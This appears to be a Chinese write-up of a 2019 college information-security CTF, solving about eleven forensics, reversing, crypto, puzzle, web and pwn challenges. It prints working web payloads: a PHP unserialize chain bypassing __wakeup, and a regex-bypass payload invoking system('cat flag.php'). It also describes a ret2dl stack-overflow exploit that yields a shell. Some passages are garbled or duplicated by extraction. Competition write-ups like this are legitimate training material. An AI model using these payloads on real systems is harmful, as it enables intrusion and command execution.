2019第十二届全国大学生信息安全竞赛部分WriteUp

第十二届全国大学生信息安全竞赛部分WriteUp

  • 0x00 签到题
  • 0x01 SALEAE
  • 0x02 24c
  • 0x03 easyG0
  • 0x04 JustSoso
  • 0x05 puzzles
  • 0x06 usbasp
  • 0x07 warmup
  • 0x08 love_math
  • 0x09 bbvvmm
  • 0x10 baby_pwn

0x00 签到题

操作内容:
下载链接,解压并运行软件,对准两个聚焦圆圈,控制台回车输出 flag

0x01 SALEAE

操作内容:
打开发现是.logicdata(逻辑分析仪数据文件),使用 Logic 软件打开,根据时钟频率以及通
讯方式擦侧是属于 SPI 通讯,解析得到 flag
2019第十二届全国大学生信息安全竞赛部分WriteUp_第1张图片
flag 竖着读
2019第十二届全国大学生信息安全竞赛部分WriteUp_第2张图片

0x02 24c

操作内容:
同上题方式,打开,发现又是 IIC 协议,解析发现结果

2019第十二届全国大学生信息安全竞赛部分WriteUp_第3张图片
将结果导出为文本格式

2019第十二届全国大学生信息安全竞赛部分WriteUp_第4张图片
尝试拼接发现有问题,然后想到题目名是 24c,想到 IIC 的 EEPROM 存储芯片 24c02,又联
想到是 IIC 协议,想起 IIC 操作 24c02 的时候要先发送开始操作的地址,以及 NAK 这个停
止符(想到可能是要修改内容二中断接收)。于是想到\t 不是字符,其对应的 ASCII 是 9,也
就是从第 9 号位‘9’开始将”9e”替换为 ac,与之前的部分进行拼接然后得到结果。

0x03 easyG0

操作内容:
下载链接,经分析,需要输入一些字符串,所以打开 ida
地址 0x495168
搜索 please,然后交叉引用返回到

2019第十二届全国大学生信息安全竞赛部分WriteUp_第5张图片
,然后用 gdb 在 0x495168 处下断点,单步调试,直到让输入一些字符串,这个地方随便输,
就行,然后一直单步执行,会到两个字符串比较的地方,这时可以在栈空间看见 flag,如下:

在这里插入图片描述

0x04 JustSoso

操作内容:
在网页源代码中发现提示
在这里插入图片描述php 任意文件包含,下面是 base64 转文本的结果
index.php

<html>

error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'
'
; } if(preg_match("/flag/",$file)){ die('hack attacked!!!'); } @include($file); if(isset($payload)){ $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query); foreach($query as $value){ if (preg_match("/flag/",$value)) { die('stop hacking!'); exit(); } } $payload = unserialize($payload); }else{ echo "Missing parameters"; } ?> <!--Please test index.php?file=xxx.php --> <!--Please get the source of hint.php--> </html>

hint.php


class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>

我们使用 ///,可以绕过 url = parse_url( S E R V E R [ ′ R E Q U E S T U R I ′ ] ) ; p a r s e s t r ( _SERVER['REQUEST_URI']); parse_str( SERVER[REQUESTURI]);parsestr(url[‘query’],$query);
然后 使用%00 绕过 wakeup;
最后使用=& 链接 指向同一地址 使得 token = token_flag 即可。

使用 payload:
http://cca41b4bf4704d57b697729ee8950f4c509984bceeb5401c.changame.ichu
nqiu.com///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:%
22%00Handle%00handle%22;O:4:%22Flag%22:3:{s:4:%22file%22;s:8:%22flag.
php%22;s:5:%22token%22;N;s:10:%22token_flag%22;R:4;}}

2019第十二届全国大学生信息安全竞赛部分WriteUp_第6张图片

0x05 puzzles

操作内容:

Question0 解四元一次方程:

2019第十二届全国大学生信息安全竞赛部分WriteUp_第7张图片Question1 根据规律可以知道 part1 为 26365399
Question2 求极限函数可知 part2 为 7700
Question3 根据感应电动势计算公式可知 part3 为 18640
Question4 计算立体图形体积,三重积分可得 part4 为 40320

将所得数字进行十六进制转换,得到 flag

0x06 usbasp

操作内容:
下载链接,将文件拖进逻辑分析仪中,并设置相关参数,如图:

2019第十二届全国大学生信息安全竞赛部分WriteUp_第8张图片拉到最后就可以看到 flag 了,flag 竖着读

2019第十二届全国大学生信息安全竞赛部分WriteUp_第9张图片

0x07 warmup

操作内容:
下载链接,分析代码文件,确定是 AES 题目。通过分析,可以联想到 DDCTF 中 AES ECB 加
解密还原(安全通信)类似于本题目,唯一的区别就是 ECB 换成了另外的 CRT,解题的思
路和关键点在可控密钥长度,这里选择逐位爆破 flag,经过测试可以知道逐位爆破 flag,
每次 16 位,重复 3 位即可;
(类似 AES ECB 题目链接:https://www.cnblogs.com/kagari/p/8889412.html)
根据分析撸出脚本,如图:

2019第十二届全国大学生信息安全竞赛部分WriteUp_第10张图片2019第十二届全国大学生信息安全竞赛部分WriteUp_第11张图片

0x08 love_math

操作内容:
查看源代码发现 ajax 连接一个 calc.php 文件,访问这个文件

2019第十二届全国大学生信息安全竞赛部分WriteUp_第12张图片
访问之后,给出源代码
2019第十二届全国大学生信息安全竞赛部分WriteUp_第13张图片发现需要绕过两处正则,经过半天的测试,发现可以通过这种方法绕过正则列目录 e x p = b a s e c o n v e r t ; exp=base_convert; exp=baseconvert;sin= e x p ( 1751504350 , 10 , 36 ) ; exp(1751504350,10,36); exp(1751504350,10,36);tan= e x p ( 784 , 10 , 36 ) ; exp(784,10,36); exp(784,10,36);sin($tan);

2019第十二届全国大学生信息安全竞赛部分WriteUp_第14张图片然后就是想尽办法读取 flag.php 的内容,一开始是觉得在这个地方想办法绕过特殊字符,
绕过空格使用 cat 读取文件,到下午之后发现其他的利用方式
base_convert 可以进行进制转化并且在白名单中 37907361743-hex2bin
dechex 可以将十进制转十六进制,1598506324-5f474554
后面就是按照正则绕就 OK 了。
payload:/calc.php?c= p i = b a s e c o n v e r t ( 37907361743 , 10 , 36 ) ( d e c h e x ( 1598506324 ) ) ; ( pi=base_convert(37907361743,10,36)(dechex(1598506324)); ( pi=baseconvert(37907361743,10,36)(dechex(1598506324));( p i ) 1 ( ( pi){1}(( pi)1(($pi){2})&1=system&2=cat%20flag.php

2019第十二届全国大学生信息安全竞赛部分WriteUp_第15张图片flag 在网页源代码中,

2019第十二届全国大学生信息安全竞赛部分WriteUp_第16张图片进制转换可以通过这个网站在线转换: https://tool.lu/hexconvert/

0x09 bbvvmm

操作内容:
下载链接,解压文件,直接拖进 UE,发现用户名和密码,如图所示:
2019第十二届全国大学生信息安全竞赛部分WriteUp_第17张图片初看感觉应该是正常的 base64,但是在线解密后,发现不对,测试一下,感觉应该是畸形
base64 解码,如下图:

2019第十二届全国大学生信息安全竞赛部分WriteUp_第18张图片2019第十二届全国大学生信息安全竞赛部分WriteUp_第19张图片可以知道用户名经过了 rsm 加密,然后是 base64 解码,

2019第十二届全国大学生信息安全竞赛部分WriteUp_第20张图片2019第十二届全国大学生信息安全竞赛部分WriteUp_第21张图片
最后可以得到用户名为:badrer12
此时密码还没有得到,lda 进行反编译一下,单流程有几百个,ida 远程进行动态调试,在
要输入的数据上下断点,然后查看内存,发现

2019第十二届全国大学生信息安全竞赛部分WriteUp_第22张图片密码得到为:xyz{|};
输入用户名和密码,使用 pwntools,运行脚本,

2019第十二届全国大学生信息安全竞赛部分WriteUp_第23张图片得到 flag

0x10 baby_pwn

操作内容:
下载链接,解压文件,放入 ida,分析一波
2019第十二届全国大学生信息安全竞赛部分WriteUp_第24张图片
如下图可以发现,除了明显的栈溢出,没有可以用来 leak 内存布局,bypass
aslr 的函数,

2019第十二届全国大学生信息安全竞赛部分WriteUp_第25张图片反编译 read,可以看出有很明显的栈溢出漏洞,但是只有一个
read,没有可以用来 leak 的函数,所以利用 ret2dl 的解法
关键思路是通过栈溢出来调用 read 函数在 bss 段写我们需要的结构
和/bin/sh,然后使用 dl_resolve_call 去调用 system,得到 shell
脚本编写,如下图:

2019第十二届全国大学生信息安全竞赛部分WriteUp_第26张图片反编译 read,可以看出有很明显的栈溢出漏洞,但是只有一个
read,没有可以用来 leak 的函数,所以利用 ret2dl 的解法
关键思路是通过栈溢出来调用 read 函数在 bss 段写我们需要的结构
和/bin/sh,然后使用 dl_resolve_call 去调用 system,得到 shell
脚本编写,如下图:

2019第十二届全国大学生信息安全竞赛部分WriteUp_第27张图片
利用 roputils 工具来实现 ret2dl(在 python 中算模块)
直接在 github 上下载 roputils 包:
https://codeload.github.com/inaz2/roputils/zip/master
运行脚本,得到 flag

你可能感兴趣的:(CTF)